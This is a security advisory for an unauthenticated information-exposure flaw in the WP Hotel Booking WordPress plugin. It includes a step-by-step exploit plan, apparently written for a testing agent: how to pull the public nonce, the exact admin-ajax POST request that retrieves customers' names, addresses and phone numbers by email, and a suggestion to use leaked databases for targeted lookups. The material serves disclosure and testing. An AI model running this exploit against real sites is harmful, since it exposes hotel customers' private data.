WP Hotel Booking <= 2.2.7 - Unauthenticated Sensitive Information Exposure via 'email' Parameter
Description
The WP Hotel Booking plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 2.2.7. This is due to the plugin exposing the 'hotel_booking_fetch_customer_info' AJAX action to unauthenticated users without proper capability checks, relying only on a nonce for protection. This makes it possible for unauthenticated attackers to retrieve sensitive customer information including full names, addresses, phone numbers, and email addresses by providing a valid email address and a publicly accessible nonce.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=2.2.7What Changed in the Fix
Changes introduced in v2.2.8
Source Code
WordPress.org SVN# Research Plan: CVE-2025-14075 - WP Hotel Booking Sensitive Information Exposure ## 1. Vulnerability Summary The **WP Hotel Booking** plugin (<= 2.2.7) contains a sensitive information exposure vulnerability in its AJAX handling logic. The plugin registers the `hotel_booking_fetch_customer_info` a…
Show full research plan
Research Plan: CVE-2025-14075 - WP Hotel Booking Sensitive Information Exposure
1. Vulnerability Summary
The WP Hotel Booking plugin (<= 2.2.7) contains a sensitive information exposure vulnerability in its AJAX handling logic. The plugin registers the hotel_booking_fetch_customer_info action for both authenticated and unauthenticated users. This function retrieves and returns all post meta associated with a booking (hb_booking post type) matching a provided email address. Because the function relies solely on a publicly accessible nonce and lacks any capability or identity checks, an unauthenticated attacker can retrieve full names, addresses, phone numbers, and other sensitive details of any customer by knowing their email address.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
hotel_booking_fetch_customer_info - HTTP Method:
POST - Parameters:
action:hotel_booking_fetch_customer_infoemail: The target customer's email address (e.g.,victim@example.com).nonce: A valid WordPress nonce for the actionhb_booking_nonce_action.
- Authentication: Unauthenticated (
nopriv). - Preconditions: An existing booking must exist in the database for the targeted email address.
3. Code Flow
- Entry Point:
includes/class-wphb-ajax.phpregisters the action:// line 47 'fetch_customer_info' => true, // lines 73-77 add_action( "wp_ajax_hotel_booking_{$action}", array( __CLASS__, $action ) ); if ( $priv ) { add_action( "wp_ajax_nopriv_hotel_booking_{$action}", array( __CLASS__, $action ) ); } - Nonce Verification:
WPHB_Ajax::fetch_customer_info()verifies the nonce:// line 215 if ( empty( hb_get_request( 'nonce', false ) ) || ! wp_verify_nonce( hb_get_request( 'nonce' ), 'hb_booking_nonce_action' ) ) { die(); } - Data Retrieval: The function searches for
hb_bookingposts where the meta key_hb_customer_emailmatches the provided$email:// lines 220-225 $args = array( 'post_type' => 'hb_booking', 'meta_key' => '_hb_customer_email', 'meta_value' => $email, 'post_status' => 'any', ); - Information Exposure: If a booking is found, it extracts all post meta for that booking and includes it in the JSON response:
This includes sensitive keys such as// lines 231-235 if ( $posts = get_posts( $args ) ) { $customer = $posts[0]; $customer->data = array(); $data = get_post_meta( $customer->ID ); foreach ( $data as $k => $v ) { $customer->data[ $k ] = $v[0]; } }_hb_customer_first_name,_hb_customer_last_name,_hb_customer_address,_hb_customer_phone, etc.
4. Nonce Acquisition Strategy
The nonce is required to pass the wp_verify_nonce check. The plugin localizes this nonce into the hotel_settings JavaScript object.
- Identify Trigger: The scripts are typically enqueued on pages containing the checkout or search functionality.
- Create Page: Create a page containing the
[hb_checkout]shortcode.- Command:
wp post create --post_type=page --post_status=publish --post_title="Checkout" --post_content="[hb_checkout]"
- Command:
- Navigate & Extract:
- Use
browser_navigateto go to the newly created Checkout page. - Use
browser_evalto extract the nonce from the localized object. - JS Object:
hotel_settings - Nonce Key:
nonce - Command:
browser_eval("window.hotel_settings?.nonce")
- Use
5. Exploitation Strategy
- Obtain Nonce: Follow the strategy in Section 4.
- Send Exploit Request: Use the
http_requesttool to send a POST request toadmin-ajax.php.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=hotel_booking_fetch_customer_info&email=victim@example.com&nonce=[EXTRACTED_NONCE]
- URL:
- Analyze Response: The response should be a JSON object containing the
IDof the booking and adataobject with all the victim's personal information.
6. Test Data Setup
- Create Victim Booking:
- Create a post of type
hb_booking. - Command:
wp post create --post_type=hb_booking --post_status=publish --post_title="Booking for Victim"(Note the ID).
- Create a post of type
- Add Sensitive Meta:
_hb_customer_email:victim@example.com_hb_customer_first_name:John_hb_customer_last_name:Doe_hb_customer_address:123 Secret Lane, Privacy City_hb_customer_phone:555-0199- Commands:
wp post meta set [BOOKING_ID] _hb_customer_email victim@example.comwp post meta set [BOOKING_ID] _hb_customer_first_name Johnwp post meta set [BOOKING_ID] _hb_customer_last_name Doewp post meta set [BOOKING_ID] _hb_customer_address "123 Secret Lane, Privacy City"wp post meta set [BOOKING_ID] _hb_customer_phone 555-0199
- Create Nonce Page:
- Create a page with the
[hb_checkout]shortcode as described in Section 4.
- Create a page with the
7. Expected Results
- The AJAX request should return an HTTP 200 OK.
- The response body should be a JSON object resembling:
{ "ID": 123, "post_author": "1", "post_date": "...", "data": { "_hb_customer_email": "victim@example.com", "_hb_customer_first_name": "John", "_hb_customer_last_name": "Doe", "_hb_customer_address": "123 Secret Lane, Privacy City", "_hb_customer_phone": "555-0199", "...": "..." } }
8. Verification Steps
- Verify Response: Ensure the fields in the JSON response match the meta data set during the "Test Data Setup" phase.
- Database Check: Run
wp post meta list [BOOKING_ID]to confirm the data being returned is exactly what is stored in the database.
9. Alternative Approaches
- Different Shortcode: If
[hb_checkout]doesn't load the script, try[hb_archive_room]or[hb_search_results]. - Global Search: If the email address is unknown, an attacker might guess common emails or use information from other leaked databases to perform targeted lookups.
- Nonce Source: Check the "Archive Room" page if the checkout page is restricted;
ArchiveRoomTemplate.phpcallscheck_room_availability, which likely triggers frontend JS initialization.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.